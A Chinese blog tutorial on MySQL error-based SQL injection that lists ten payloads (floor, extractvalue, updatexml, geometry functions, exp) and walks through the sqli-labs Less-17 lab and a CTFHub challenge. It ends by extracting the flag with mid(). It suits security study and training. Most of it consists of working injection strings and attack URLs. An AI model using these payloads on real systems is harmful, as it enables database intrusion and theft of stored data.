前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >MySQL手注之报错注入详解

MySQL手注之报错注入详解

作者头像
渗透攻击红队
修改2020-05-19 17:54:20
8.9K1
修改2020-05-19 17:54:20
举报
文章被收录于专栏:漏洞知识库漏洞知识库

报错注入原理详解

往往在注入过程中根据错误回显进行判断,但是现在非常多的Web程序没有正常的错误回显,这样就需要我们利用报错注入的方式来进行SQL注入了。这篇文章会讲解一下报错注入的产生原理和利用案例。

当在⼀个聚合函数,⽐如count函数后⾯如果使⽤分组语句就会把查询的⼀部分以错误的形式显⽰出来。这些函数分别是:

代码语言:javascript
复制

Rand() //随机函数 
Floor() //取整函数 
Count() //聚合函数 
Group by key //分组语句

例如,利⽤floor()语句报错,是利⽤floor(),count(),group() by冲突报错,当这三个函数在特定情况⼀起使⽤产⽣的 错误。

extractvalue注⼊的原理:依旧如同updatexml⼀样,extract的第⼆个参数要求是xpath格式字符串,⽽我们输⼊的并不是。所以报错。

代码语言:javascript
复制
函数解释:   extractvalue():从⽬标XML中返回包含所查询值的字符串。  
EXTRACTVALUE (XML_document, XPath_string);   
第⼀个参数:XML_document是String格式,为XML⽂档对象的名称,⽂中为Doc   
第⼆个参数:XPath_string (Xpath格式的字符串)   
oncat:返回结果为连接参数产⽣的字符串。

报错注⼊常⽤的函数

代码语言:javascript
复制
1.floor() 
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue() 
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon() 
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon() 
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring() 
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring() 
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp() 
select * from test where id=1 and exp(~(select * from(select user())a));

注入实战

环境:sqli-labs

注入点:http://127.0.0.1/sqli-labs/Less-17/

它的查询语句是:

代码语言:javascript
复制
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";

判断用户名是否存在,存在的话那么就重置 $password 的值,这样我们就可以闭合来导致报错注入!

1、extractvalue() 函数获取版本信息

注:extractvalue() 函数不支持低版本 mysql

代码语言:javascript
复制

注入前的payload:
and extractvalue(1,concat(0x7e,(你的注入Payload),0x7e))#
注入后的payload:
and extractvalue(1,concat(0x7e,(select @@version),0x7e))#

我们先抓个包:

这个时候我们就可以吧注入语句放到 passwd= 后面:

代码语言:javascript
复制
saul' and extractvalue(1,concat(0x7e,(select @@version),0x7e))#

2、数据库名

代码语言:javascript
复制
saul' and extractvalue(1,concat(0x7e,(select database()),0x7e))#

3、获取表名

代码语言:javascript
复制
saul' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))#

4、获取列名

代码语言:javascript
复制
saul' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x7e))#

5、获取数据

代码语言:javascript
复制
saul' and extractvalue(1,concat(0x7e,(select * from (select username from users limit 0,1) as a),0x7e))#

limit 0,1, 从你的表中的第0个数据开始,只读取一个;想读第二个那么就是这样:

代码语言:javascript
复制
saul' and extractvalue(1,concat(0x7e,(select * from (select username from users limit 1,1) as a),0x7e))#

以此类推!

再来一个 CTF 报错注入的案例!

ctfhub-报错注入解题

题目地址:http://challenge-0d31b44317053ed4.sandbox.ctfhub.com:10080/

1、判断注入类型

加一个单引号报错:数字类型报错注入

代码语言:javascript
复制
http://challenge-0d31b44317053ed4.sandbox.ctfhub.com:10080/?id=1'

2、判断列数

order by 2 返回正常:说明有 2

代码语言:javascript
复制
http://challenge-0d31b44317053ed4.sandbox.ctfhub.com:10080/?id=1 order by 2

3、爆当前数据库名

用到的函数是 updatexml()

代码语言:javascript
复制
http://challenge-0d31b44317053ed4.sandbox.ctfhub.com:10080/?id=-1 union select 1,updatexml(1,concat(0x7e,(select database())),1) --+

还可以用 extractvalue() 函数也是可以的,而且只需要两个参数

代码语言:javascript
复制
http://challenge-0d31b44317053ed4.sandbox.ctfhub.com:10080/?id=-1 union select 1,extractvalue(1,concat(0x7e,(select database()))) --+

这个时候得到了当前数据库名为:sqli

4、爆所有表名

爆所有的表名用到的函数是 group_concat() 函数,这个函数是将查询的数据返回成一个字符串

代码语言:javascript
复制
http://challenge-0d31b44317053ed4.sandbox.ctfhub.com:10080/?id=-1 union select 1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

这样就得到了两个表名:newsflag

5、爆所有字段名

代码语言:javascript
复制
http://challenge-0d31b44317053ed4.sandbox.ctfhub.com:10080/?id=-1 union select 1,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'))) --+

得到了列名只有:flag

6、爆字段内容

代码语言:javascript
复制
http://challenge-0d31b44317053ed4.sandbox.ctfhub.com:10080/?id=-1 union select 1,extractvalue(1,concat(0x7e,(select flag from flag))) --+

这个时候查询 flag 表名下的 flag 字段内容时候你会发现它爆的不完整!这是为什么呢?

答:因为使用xpath报错它最多只显示32位字符,也就是我们爆出来的:ctfhub{bd267b79241a7d4d8aae3e61 ,所以后面的它没能爆出来!

这个时候我们就需要用到 mid 函数来进行字符串截取操作来爆出后面的字符串!

mid() 函数语法格式:
代码语言:javascript
复制

mid(str,start,[length])
str:截取的字符串
start:起始位置
length:截取的长度,可以忽略

这个时候加上 mid 函数我们就可以使用这个语句来得到后面的字符串值:4aba1f8913774ff2}

代码语言:javascript
复制
http://challenge-0d31b44317053ed4.sandbox.ctfhub.com:10080/?id=-1 union select 1,extractvalue(1,concat(0x7e,mid((select flag from flag),32))) --+

最后再拼接起来得到 flag:ctfhub{bd267b79241a7d4d8aae3e614aba1f8913774ff2}

至此MySQL手工注入之报错注入就到此为止!

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-05-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 SaulGoodman 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 报错注入原理详解
    • 报错注⼊常⽤的函数
    • 注入实战
      • 1、extractvalue() 函数获取版本信息
        • 2、数据库名
          • 3、获取表名
            • 4、获取列名
              • 5、获取数据
              • ctfhub-报错注入解题
                • 1、判断注入类型
                  • 2、判断列数
                    • 3、爆当前数据库名
                      • 4、爆所有表名
                        • 5、爆所有字段名
                          • 6、爆字段内容
                            • mid() 函数语法格式:
                        相关产品与服务
                        数据库
                        云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
                        领券
                        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档